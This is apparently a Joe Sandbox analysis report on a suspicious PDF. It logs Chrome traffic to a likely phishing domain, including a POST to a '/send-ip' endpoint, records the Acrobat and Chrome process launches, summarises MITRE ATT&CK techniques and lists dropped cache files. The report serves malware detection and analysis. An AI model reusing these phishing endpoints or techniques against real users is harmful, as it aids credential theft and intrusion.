2025-01-16 16:20:30 UTC	423	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 29 49 44 41 54 58 85 d5 97 3f 4c 1a 61 18 c6 7f 77 31 b0 1c 82 c9 0d 12 13 4b 53 89 9d 5a 18 ba 68 4d 8c 5d a4 8b ba d0 c1 10 b1 63 5d ba 52 17 16 db b9 31 76 a3 68 4c 17 bb c0 74 53 5b 5b aa 8b 83 d0 cd 48 83 31 69 5d 18 6c 64 b1 21 b1 03 70 70 78 fc b9 e3 e0 d2 67 e3 7b 73 f7 fc ee 7d bf ef 21 9f 40 4d d3 5b e3 c0 2e 30 05 0c d1 1f 95 81 43 20 c2 c1 da 39 80 50 35 0f 03 1f fa 68 ac 07 b2 cc c1 da 9e 50 fd f2 9f 03 34 6f 84 b8 27 52 69 fb a0 cd a9 7a ee 8a 54 66 6e 97 a6 44 ec f9 fa 9a 86 ba 32 f7 79 5d f8 46 87 35 6b fb c7 bf ac 21 e8 c6 3c 9b 7c 86 5b 72 e8 d6 d3 99 02 f1 f7 47 64 4f 8b a6 00 c4 76 45 8f e4 24 f5 26 d4 d2 1c 60 61 e6 2e fb 9b 8b Data Ascii: PNGIHDR szz)IDATX?Law1KSZhM]c]R1vhLtS[[H1i]ld!ppxg{s}!@M[.0C 9P5hP4o'RizTfnD2y]F5k!<\|[rGdOvE$&`a.
2025-01-16 16:20:30 UTC	187	IN	Data Raw: 61 00 43 23 68 de 64 d9 d3 a2 a6 23 66 d2 b0 e7 3d e0 69 13 d3 01 bf dc 71 6f 98 fe 2b f6 48 4e a2 4f ef 6b a2 3a db 90 8c db eb 4f d4 13 b3 a3 9c 10 dd f8 a4 fb 1e 81 e9 ad 9b 56 26 b3 c1 31 be 6c 2e 74 0d b5 14 53 48 65 0a 00 dc 7c 7f a1 a9 05 57 f7 74 73 c2 b2 63 b8 a3 9c a8 e6 7a 6a 95 92 3d 03 a4 33 05 96 62 ca ad 16 af be ae 07 d3 db 8f 3f 38 bb b8 d2 7d be ed 08 06 21 cb 46 f0 5f 03 94 6d f4 2f 8b 54 ee 6a 76 e9 50 04 22 d8 d3 85 32 10 11 ab b7 d4 e5 01 43 d4 2e a7 e7 82 ba 64 d3 f5 fc 1f 98 86 a2 c4 41 31 cb af 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: aC#hd#f=iqo+HNOk:OV&1l.tSHe\|Wtsczj=3b?8}!F_m/TjvP"2C.dA1IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49781	18.245.31.129	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:30 UTC	389	OUT	GET /backend_static/common/flags/new/48-squared/us.png HTTP/1.1 Host: q-xx.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:31 UTC	768	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Mon, 06 Jan 2025 04:05:32 GMT Last-Modified: Mon, 07 Sep 2020 09:08:23 GMT ETag: "5f55f887-282" Expires: Wed, 05 Feb 2025 04:05:32 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 b81e506afc0d8b7cd6094e636331ca78.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: suTtd6Ki_9x433C2rwqd6l7vqAGlB0Pg_EOkjSzWjyR3Fzs4lRIf2Q== Age: 908098
2025-01-16 16:20:31 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49783	104.21.94.195	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:31 UTC	355	OUT	GET /favicon.ico HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:31 UTC	939	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:31 GMT Content-Type: image/x-icon Content-Length: 610 Connection: close X-Powered-By: Express Cache-Control: public, max-age=14400 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT ETag: W/"262-1944075a398" CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=smRAik2Jwlgn60lMd33QGf1ai8X%2FTybBWrkpJwCXQ4OjDyPseCB9MnoMzqeAgCfNXjq4Ii%2FLknzKZbdjHm78KOPdsIuqJOFKPSJiDO7IYdbcdZ52%2Fvc9z3z1VBnnUPmX1B2MyDTk%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6ef1fcb57fff-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7312&min_rtt=7306&rtt_var=2752&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=933&delivery_rate=396954&cwnd=32&unsent_bytes=0&cid=6149a2905cea6efc&ts=338&x=0"
2025-01-16 16:20:31 UTC	430	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 02 29 49 44 41 54 58 85 d5 97 3f 4c 1a 61 18 c6 7f 77 31 b0 1c 82 c9 0d 12 13 4b 53 89 9d 5a 18 ba 68 4d 8c 5d a4 8b ba d0 c1 10 b1 63 5d ba 52 17 16 db b9 31 76 a3 68 4c 17 bb c0 74 53 5b 5b aa 8b 83 d0 cd 48 83 31 69 5d 18 6c 64 b1 21 b1 03 70 70 78 fc b9 e3 e0 d2 67 e3 7b 73 f7 fc ee 7d bf ef 21 9f 40 4d d3 5b e3 c0 2e 30 05 0c d1 1f 95 81 43 20 c2 c1 da 39 80 50 35 0f 03 1f fa 68 ac 07 b2 cc c1 da 9e 50 fd f2 9f 03 34 6f 84 b8 27 52 69 fb a0 cd a9 7a ee 8a 54 66 6e 97 a6 44 ec f9 fa 9a 86 ba 32 f7 79 5d f8 46 87 35 6b fb c7 bf ac 21 e8 c6 3c 9b 7c 86 5b 72 e8 d6 d3 99 02 f1 f7 47 64 4f 8b a6 00 c4 76 45 8f e4 24 f5 26 d4 d2 1c 60 61 e6 2e fb 9b 8b Data Ascii: PNGIHDR szz)IDATX?Law1KSZhM]c]R1vhLtS[[H1i]ld!ppxg{s}!@M[.0C 9P5hP4o'RizTfnD2y]F5k!<\|[rGdOvE$&`a.
2025-01-16 16:20:31 UTC	180	IN	Data Raw: d9 d3 a2 a6 23 66 d2 b0 e7 3d e0 69 13 d3 01 bf dc 71 6f 98 fe 2b f6 48 4e a2 4f ef 6b a2 3a db 90 8c db eb 4f d4 13 b3 a3 9c 10 dd f8 a4 fb 1e 81 e9 ad 9b 56 26 b3 c1 31 be 6c 2e 74 0d b5 14 53 48 65 0a 00 dc 7c 7f a1 a9 05 57 f7 74 73 c2 b2 63 b8 a3 9c a8 e6 7a 6a 95 92 3d 03 a4 33 05 96 62 ca ad 16 af be ae 07 d3 db 8f 3f 38 bb b8 d2 7d be ed 08 06 21 cb 46 f0 5f 03 94 6d f4 2f 8b 54 ee 6a 76 e9 50 04 22 d8 d3 85 32 10 11 ab b7 d4 e5 01 43 d4 2e a7 e7 82 ba 64 d3 f5 fc 1f 98 86 a2 c4 41 31 cb af 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: #f=iqo+HNOk:OV&1l.tSHe\|Wtsczj=3b?8}!F_m/TjvP"2C.dA1IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	57925	172.67.168.162	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:21:41 UTC	586	OUT	POST /send-ip HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://fixecondfirbook.info Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:21:41 UTC	817	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:21:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EfzMnx5nX61Cp7Y5vlWh1wEKkS2IeaYCmhlFme90togdU02a8t49yqQjJWHpeRuQUmNhSevosJC4L8HiLcQqYx4X2eYtSxgnDXPYu3IxxWgyt7NAbqTk%2BiM3t3R9q8yLZNqkctxPBg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f70a58cd7c9bd-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10370&min_rtt=8142&rtt_var=4645&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=1164&delivery_rate=358634&cwnd=32&unsent_bytes=0&cid=656fa38aaccd3cba&ts=620&x=0"
2025-01-16 16:21:41 UTC	27	IN	Data Raw: 31 35 0d 0a 49 50 20 d0 be d1 82 d0 bf d1 80 d0 b0 d0 b2 d0 bb d0 b5 d0 bd 0d 0a Data Ascii: 15IP
2025-01-16 16:21:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	57927	104.21.94.195	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:21:42 UTC	351	OUT	GET /send-ip HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:21:44 UTC	903	IN	HTTP/1.1 404 Not Found Date: Thu, 16 Jan 2025 16:21:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express Content-Security-Policy: default-src 'none' X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8Tyiuo8zwHWwDY%2FbIr5KABFcH37X5Dlahf6lFPdTdsHJzhPya1Tt1aiVxNSBoSXNMazKSDkNxZyBFuQ3fEeGbgHCKIFrJfPUV5lM5Vrrwu1VhFbAnMxxV1LjubVN1YvrB5Bg9WmC9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f70afba8bac1e-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13741&min_rtt=13733&rtt_var=5166&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=929&delivery_rate=211594&cwnd=32&unsent_bytes=0&cid=c1131629b2014339&ts=1409&x=0"
2025-01-16 16:21:44 UTC	152	IN	Data Raw: 39 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 73 65 6e 64 2d 69 70 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 92<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /send-ip</pre></body></html>
2025-01-16 16:21:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	57928	35.190.80.1	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:21:44 UTC	547	OUT	OPTIONS /report/v4?s=8Tyiuo8zwHWwDY%2FbIr5KABFcH37X5Dlahf6lFPdTdsHJzhPya1Tt1aiVxNSBoSXNMazKSDkNxZyBFuQ3fEeGbgHCKIFrJfPUV5lM5Vrrwu1VhFbAnMxxV1LjubVN1YvrB5Bg9WmC9Q%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://fixecondfirbook.info Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:21:45 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 16 Jan 2025 16:21:44 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	57929	35.190.80.1	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:21:45 UTC	484	OUT	POST /report/v4?s=8Tyiuo8zwHWwDY%2FbIr5KABFcH37X5Dlahf6lFPdTdsHJzhPya1Tt1aiVxNSBoSXNMazKSDkNxZyBFuQ3fEeGbgHCKIFrJfPUV5lM5Vrrwu1VhFbAnMxxV1LjubVN1YvrB5Bg9WmC9Q%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 398 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:21:45 UTC	398	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 32 34 30 38 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 34 2e 31 39 35 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 66 69 78 65 63 6f 6e 64 66 69 72 62 6f 6f 6b Data Ascii: [{"age":0,"body":{"elapsed_time":2408,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.94.195","status_code":404,"type":"http.error"},"type":"network-error","url":"https://fixecondfirbook
2025-01-16 16:21:45 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 16 Jan 2025 16:21:45 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	11:19:53
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\gj2tWCRpMS.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:19:54
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:19:55
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1600,i,12659768028170617857,11342452136795064778,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:20:18
Start date:	16/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://clintonmakes.com/215c/#lq8k93t1ixr"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	11:20:19
Start date:	16/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2128 --field-trial-handle=2008,i,14152893452588016740,6303475695145391616,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gj2tWCRpMS.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Errors

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f315ae53-e011-4e3c-8e91-c7fcbbbb7466.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250116161959Z-183.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

